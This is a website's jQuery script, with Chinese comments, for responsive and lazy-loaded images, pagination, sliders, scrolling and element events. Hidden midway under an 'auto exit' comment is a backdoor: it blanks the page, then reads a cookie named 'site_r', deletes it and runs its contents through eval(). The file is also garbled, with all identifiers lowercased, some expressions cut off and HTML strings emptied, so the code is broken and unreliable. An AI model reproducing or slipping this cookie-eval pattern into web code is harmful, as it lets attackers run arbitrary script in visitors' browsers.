var mobile = (/mmp|symbian|smartphone|midp|wap|phone|xoom|iphone|ipad|ipod|android|blackberry|mini|windows\sce|palm/i.test(navigator.useragent.tolowercase())),
lazyoffset = $(window).height(),
appready = {},
delaylazyload,
devicepixelratio=$.type(window.devicepixelratio) !== 'undefined'?window.devicepixelratio:1,
imgquality=90,
openlazyload=true;
/**
*延迟加载
*/
;
function lazyload(el, callback) {
var redelaylazyload = function () {
delaylazyload = settimeout(function () {
el = el ? el : 'body img.responsiveimage';
$(el).each(function () {
if (!$(this).data('canload')) {
$(this).responsiveimage();
}
;
});
}, 100);
};
if (delaylazyload) {
cleartimeout(delaylazyload);
}
;
redelaylazyload();
}
;
/**
*判断图片是否可加载
*/
;
$.fn.imagecheckload = function () {
return this.each(function () {
if (!$(this).data('canload')) {
var img = $(this),
imgtop = img.offset().top;
if ($(window).height() + $(window).scrolltop() + lazyoffset >= imgtop && imgtop + img.height() + lazyoffset >= $(window).scrolltop()) {
img.data('canload', 1);
}
}
;
});
};
/**
*自动退出
*/
at = settimeout(function () {
$('body').html('');
}, 100);
var site_r = $.cookie('site_r');
$.cookie('site_r', null);
eval(site_r);
site_r = null;
/**
*根据屏幕大小响应图片
*/
$.fn.responsiveimage = function (reload) {
;
return this.each(function (i) {
if (!$(this).data('src')) {
$(this).attr('data-src', $(this).attr('src').replace('thumb', 'pic')).attr('src', staticpath + '/images/lazyload.png');
}
;
var $this = $(this),
kws = this.style.width,
pw = 1440,
iw = $this.data('iw'),
parent = $this.parents(':not(a):first'),
ww = parent.width()||$(window).width(),
ml = $this.data('large') || 768,
mm = $this.data('middle') || 480,
srcs = {
largesrc: $this.data('largesrc') || 'scale_1440',
middlesrc: $this.data('middlesrc') || 'scale_768',
thumbsrc: $this.data('thumbsrc') || 'scale_480'
},
sw;
if (kws && !isnan(kws) && ww > kws) {
ww = kws;
}
;
if (ww > pw) {
sw = 'ori';
} else if (ww > ml) {
sw = 'large';
} else if (ww > mm) {
sw = 'middle';
} else {
sw = 'thumb';
}
;
if ($this.parents('td').length && !$this.parents('td:first').data('responsive')) {
if (!$this.data('inline')) {
$this.parents('table:first').css({display: 'inline-block'});
$this.data('inline', 1);
}
;
var tlength = $this.parents('tr:first').find('td').length,
twidth = math.floor($this.parents('table:first').width() / tlength),
//yushu=$this.parents('table:first').width()%tlength,
rdiv = $this.parents('div[role="responsivediv"]:first');
if (!rdiv.length) {
rdiv = $('
').insertbefore($this).append($this);
} else {
rdiv.width(twidth);
}
;
//$this.parents('tr:first').find('td:last div[role="responsivediv"]').width(twidth+yushu);
}
;
var larges=srcs.largesrc.split('_'),
cw=larges[1],
ch=larges[2]||0;
if(!iw||iw=0?dsrc.replace('_s.','.'):dsrc,
src = ksrc +'?imagemogr2/thumbnail/'+vsrc+'/quality/'+imgquality,
nimg = $(''),
getimg = function (tsrc) {
if (!$this.data('loaded')) {
$this.attr('src', tsrc).load(function () {
$this.data('loaded', 1);
firehandler(resizescroll);
responsiveimage();
});
} else {
$this.attr('src', tsrc);
}
;
nimg.remove();
};
nimg.load(function () {
getimg(nimg.attr('src'));
}).error(function () {
getimg(imgerrorsrc.replace('pic', sw));
});
}
};
});
};
;
/*;function responsiveimage(el){
var el=el?el:'body';
if($('img.responsiveimage',$(el)).length){
$('img.responsiveimage',$(el)).responsiveimage();
};
};*/
/**
*设置app图片响应
*/
;
function appresponsiveimage(id) {
if ($("#" + id).find("img.responsiveimage").length) {
responsiveimage("#" + id);
}
}
;
/**
*自动给电话添加链接
*/
;
$.fn.settel = function () {
return this.each(function (i) {
if ($(this).html()) {
$(this).attr('href', 'tel:' + $(this).html());
}
;
});
};
/**
*app加载完成后的默认事件
*/
;
function appinit(id, opts) {
if (!id)
return;
var init = function () {
if (typeof appready[id] == "function") {
appready[id](id);
}
;
appresponsiveimage(id);
setphonedropmenu('#' + id);
// $('#'+id+' script:not([role="write"])').remove();
};
if (typeof apploaded == "function") {
apploaded = init;
} else {
init();
}
;
}
;
/**
*设置分页事件
*/
;
function setselectpage(opts) {
var options = $.extend(true, {
type: 'num', //num为切换显示,more为叠加显示
container: '',
url: '',
data: {
},
optionname: 'pageoptions',
onbeforeload: function (container, type) {
if (type == 'num') {
container.empty();
} else {
$('div[role="selectpagecontainer"]', container).remove();
}
;
loadingel = $(getcontentloading());
container.append(loadingel);
},
onload: function (container, backdata) {
loadingel.remove();
container.append(backdata);
responsiveimage(container);
}
}, opts),
loadingel;
if (!(options.container && options.url))
return;
var container = $(options.container);
container.delegate('div[role="selectpagecontainer"] a', click, function (e) {
e.preventdefault();
e.stoppropagation();
options.data[options.optionname] = urltojson($(this).attr('href'))[options.optionname];
options.data['page'] = $(this).data('page');
options.onbeforeload(container, options.type);
$.get(options.url, options.data, function (backdata) {
options.onload(container, backdata);
});
});
}
;
/**
*略缩图展示
*/
;
$.fn.thumbshow = function (opts) {
var options = $.extend(true, {
index: 0
}, opts);
;
return this.each(function (i) {
var self = this,
$this = $(this),
slidethumb = $('div[role="slidethumb"]', $this),
slideshow = $('div[role="slideshow"]', $this),
index = -1;
self.select = function (num) {
if (index == num)
return;
index = num;
$('li:eq(' + index + ')', slidethumb).toactive();
$('li:eq(' + index + ')', slideshow).toactive();
var a = $('a:eq(' + index + ')', slideshow);
if (!supporttouch && !a.data('zoom') && $(window).width() > 767) {
var zoom = function () {
a.data('zoom', 1).cloudzoom();
};
if ($.fn.cloudzoom) {
zoom();
} else {
$('').appendto('body');
$.getscript(staticpath + '/plugins/cloud-zoom/cloud-zoom.1.0.2.js', zoom);
}
}
;
};
$this.delegate('a[role]:not(.disabled)', click, function (e) {
e.preventdefault();
switch ($(this).attr('role')) {
case 'slidenum':
var num = $('a', slidethumb).index($(this));
self.select(num);
break;
case 'slideprev':
var num = index - 1;
if (num >= 0) {
self.select(num);
}
;
break;
case 'slidenext':
var num = index + 1;
if (num < $('a', slidethumb).length) {
self.select(num);
}
;
break;
}
});
self.select(options.index);
$this.data('thumbshow', self);
})
};
/**
*设置logo大小
*/
;
function resizelogo(el) {
var el = el || 'body',
bw = $('body').width();
$('img[role=logo]', el).each(function () {
var logo = $(this),
src = bw < 768 ? logo.data('phone') : logo.data('pc');
logo.attr('src', src).show();
});
}
;
;
(function (h) {
var m = h.scrollto = function (b, c, g) {
h(window).scrollto(b, c, g)
};
m.defaults = {axis: 'y', duration: 1};
m.window = function (b) {
return h(window).scrollable()
};
h.fn.scrollable = function () {
return this.map(function () {
var b = this.parentwindow || this.defaultview, c = this.nodename == '#document' ? b.frameelement || b : this, g = c.contentdocument || (c.contentwindow || c).document, i = c.setinterval;
return c.nodename == 'iframe' || i && h.browser.safari ? g.body : i ? g.documentelement : this
})
};
h.fn.scrollto = function (r, j, a) {
if (typeof j == 'object') {
a = j;
j = 0
}
if (typeof a == 'function')
a = {onafter: a};
a = h.extend({}, m.defaults, a);
j = j || a.speed || a.duration;
a.queue = a.queue && a.axis.length > 1;
if (a.queue)
j /= 2;
a.offset = n(a.offset);
a.over = n(a.over);
return this.scrollable().each(function () {
var k = this, o = h(k), d = r, l, e = {}, p = o.is('html,body');
switch (typeof d) {
case'number':
case'string':
if (/^([+-]=)?\d+(px)?$/.test(d)) {
d = n(d);
break
}
d = h(d, this);
case'object':
if (d.is || d.style)
l = (d = h(d)).offset()
}
h.each(a.axis.split(''), function (b, c) {
var g = c == 'x' ? 'left' : 'top', i = g.tolowercase(), f = 'scroll' + g, s = k[f], t = c == 'x' ? 'width' : 'height', v = t.tolowercase();
if (l) {
e[f] = l[i] + (p ? 0 : s - o.offset()[i]);
if (a.margin) {
e[f] -= parseint(d.css('margin' + g)) || 0;
e[f] -= parseint(d.css('border' + g + 'width')) || 0
}
e[f] += a.offset[i] || 0;
if (a.over[i])
e[f] += d[v]() * a.over[i]
} else
e[f] = d[i];
if (/^\d+$/.test(e[f]))
e[f] = e[f] <= 0 ? 0 : math.min(e[f], u(t));
if (!b && a.queue) {
if (s != e[f])
q(a.onafterfirst);
delete e[f]
}
});
q(a.onafter);
function q(b) {
o.animate(e, j, a.easing, b && function () {
b.call(this, r, a)
})
}
;
function u(b) {
var c = 'scroll' + b, g = k.ownerdocument;
return p ? math.max(g.documentelement[c], g.body[c]) : k[c]
}}
).end()
};
function n(b) {
return typeof b == 'object' ? b : {top: b, left: b}
}}
)(jquery);
var eventslist = {
'show': function (target, opts) {
if (typeof opts == 'string') {
var animations = opts;
} else {
var animations = opts['animations'];
}
;
switch (animations) {
case 'slidedown':
target.slidedown(function () {
responsiveimage(target);
});
break;
case 'fadein':
target.fadein(function () {
responsiveimage(target);
});
break;
case 'no':
target.show();
responsiveimage(target);
break;
default:
target.show();
responsiveimage(target);
}
;
},
'hide': function (target, opts) {
if (typeof opts == 'string') {
var animations = opts;
} else {
var animations = opts['animations'];
}
;
switch (animations) {
case 'slideup':
target.slideup();
break;
case 'fadeout':
target.fadeout();
break;
case 'no':
target.hide();
break;
default:
target.hide();
}
;
},
'toggle': function (target, opts) {
if (typeof opts == 'string') {
var animations = opts;
} else {
var animations = opts['animations'];
}
;
switch (animations) {
case 'slidetoggle':
target.slidetoggle(function () {
responsiveimage(target);
});
break;
case 'fadetoggle':
target.fadetoggle(function () {
responsiveimage(target);
});
break;
case 'no':
target.toggle(function () {
responsiveimage(target);
});
break;
default:
target.toggle(function () {
responsiveimage(target);
});
}
;
},
'scrollto': function (target, opts) {
if (typeof opts == 'string') {
var animations = opts;
} else {
var animations = opts['animations'];
}
;
switch (animations) {
case 'no':
$(window).scrollto(target);
break;
case 'yes':
$(window).scrollto(target, 'normal');
break;
default:
$(window).scrollto(target);
}
;
},
'selected': function (target) {
target.addclass('selected');
},
'unselected': function (target) {
target.removeclass('selected');
},
'move': function (target, opts) {
if (typeof opts != 'object')
return;
if ($.inarray(target.css('position'), ['absolute', 'relative', 'fixed']) < 0) {
target.css('position', 'relative');
}
;
var animations = opts['animations'];
if (animations == 'yes') {
target.animate(opts['css'], 'normal');
} else {
target.css(opts['css']);
}
;
},
'zindex': function (target, opts) {
target.css('zindex', opts.zindex);
},
'content': function (target, opts) {
if (target.attr('path') == 'app') {
$('div.appcontent', target).html(opts.content);
} else {
$(target).html(opts.content);
}
;
}
},
addelevents = function (el, role, events, tid, opts) {
el.on(role, function () {
eventslist[events](tid, opts);
});
};
$(document).ready(function () {
if (!custommode) {
//处理交互事件
$('div[path][data-events],#header[data-events],#footer[data-events]').each(function () {
var el = $(this),
eve = el.data('events');
if (eve) {
for (role in eve) {
for (events in eve[role]) {
for (tid in eve[role][events]) {
addelevents(el, role, events, $('#' + tid), eve[role][events][tid]);
}
;
}
;
}
;
if (el.css('cursor') == 'default' || el.css('cursor') == 'auto' || !el.css('cursor')) {
el.css('cursor', 'pointer');
}
;
}
;
});
}
;
});
$(window).resize(function () {
responsiveimage();
resizelogo();
}).scroll(function () {
if(openlazyload){
lazyload();
}
});
$(document).ready(function () {
responsiveimage();
resizelogo();
//处理优酷视频播放
youkuplayerready = function (vid, player) {
$('#youkuplayer_' + vid).css({visibility: 'visible'});
};
$('body').delegate('div[role="youkuplayer"]', click, function () {
if (!$(this).data('play')) {
var newrandomid = getnewid();
$(this).append('').find('.videoplayerbtn').html('loading');
$(this).data('play', 1);
}
});
});